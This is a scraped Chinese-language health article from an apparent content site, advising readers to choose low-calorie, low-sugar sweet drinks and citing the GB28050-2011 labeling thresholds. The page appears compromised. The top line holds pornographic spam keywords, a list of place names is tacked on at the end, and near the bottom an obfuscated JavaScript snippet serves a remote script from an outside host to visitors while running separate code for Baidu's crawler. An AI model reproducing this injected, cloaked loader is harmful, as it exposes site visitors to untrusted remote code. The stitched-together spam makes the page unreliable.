亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 健康飲食 > 正文

如何選擇健康的甜味飲料

2016-06-27 07:59:07  來源:360常識網(wǎng)   熱度:
導語:要想避免被甜飲料所害,最好的方式是戒除對甜飲的嗜好。與其為放棄甜飲料而感覺沮喪,不如先讓自己吃足各種新鮮的蔬菜水果,雜糧薯類,用健康的碳水化合物來填滿自己的腸胃。

如何選擇健康的甜味飲料

如何選擇健康的甜味飲料

如何選擇健康的甜味飲料

1、盡量選擇低熱量、低糖的飲料。

按我國預包裝食品營養(yǎng)標簽通則(GB28050-2011),飲料要標明“低熱量”意味著每100ml中的熱量低于80kJ(約20kcal),“零熱量”則要達到每100ml熱量低于17kJ(約4kcal)的標準。標注“低糖”意味著每100ml中的糖低于5%,而標注“無糖”則要達到含糖量低于0.5%的標準。

2、在同樣的糖含量水平上,選擇營養(yǎng)價值較高的品種。

比如說,都是含5%的糖,那么其中含有天然原料(如含牛奶、豆?jié){、雜糧)、營養(yǎng)成分(如各種維生素、鈣、鎂等)或保健成分(如益生元、益生菌、膳食纖維等)成分的,會比什么營養(yǎng)素都沒有的產(chǎn)品略好一點。

3、即便含有營養(yǎng)成分,也不能作為放心大喝甜飲料的理由,因為我們完全可以從甜飲料以外的途徑來獲取營養(yǎng)素。

建議日常喝白水和各種淡茶、花果茶等,每天甜飲料飲用量平均不超過半瓶(500ml/瓶)。最好只在聚會場合接觸甜飲料,而且喝了甜飲料就不要再吃其他甜食。

最后,要想避免被甜飲料所害,最好的方式是戒除對甜飲的嗜好。與其為放棄甜飲料而感覺沮喪,不如先讓自己吃足各種新鮮的蔬菜水果,雜糧薯類,用健康的碳水化合物來填滿自己的腸胃,做菜少放點鹽。果真這么吃一段時間,對甜飲料的渴望自然會逐漸下降,被甜飲料和各種不健康食物所毀壞的身體活力狀態(tài),卻會得到有效的修復。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
客服| 航空| 江门市| 汝阳县| 白山市| 朝阳县| 湟中县| 杭锦后旗| 延川县| 汤原县| 高州市| 大渡口区| 忻州市| 镇康县| 岳池县| 翼城县| 缙云县| 揭西县| 肥西县| 大田县| 大足县| 乃东县| 苏尼特左旗| 惠水县| 化州市| 宁阳县| 泰安市| 宣恩县| 南陵县| 巢湖市| 黄骅市| 香格里拉县| 昌吉市| 桂平市| 无棣县| 太仆寺旗| 思茅市| 呼伦贝尔市| 青岛市| 彰化县| 古丈县|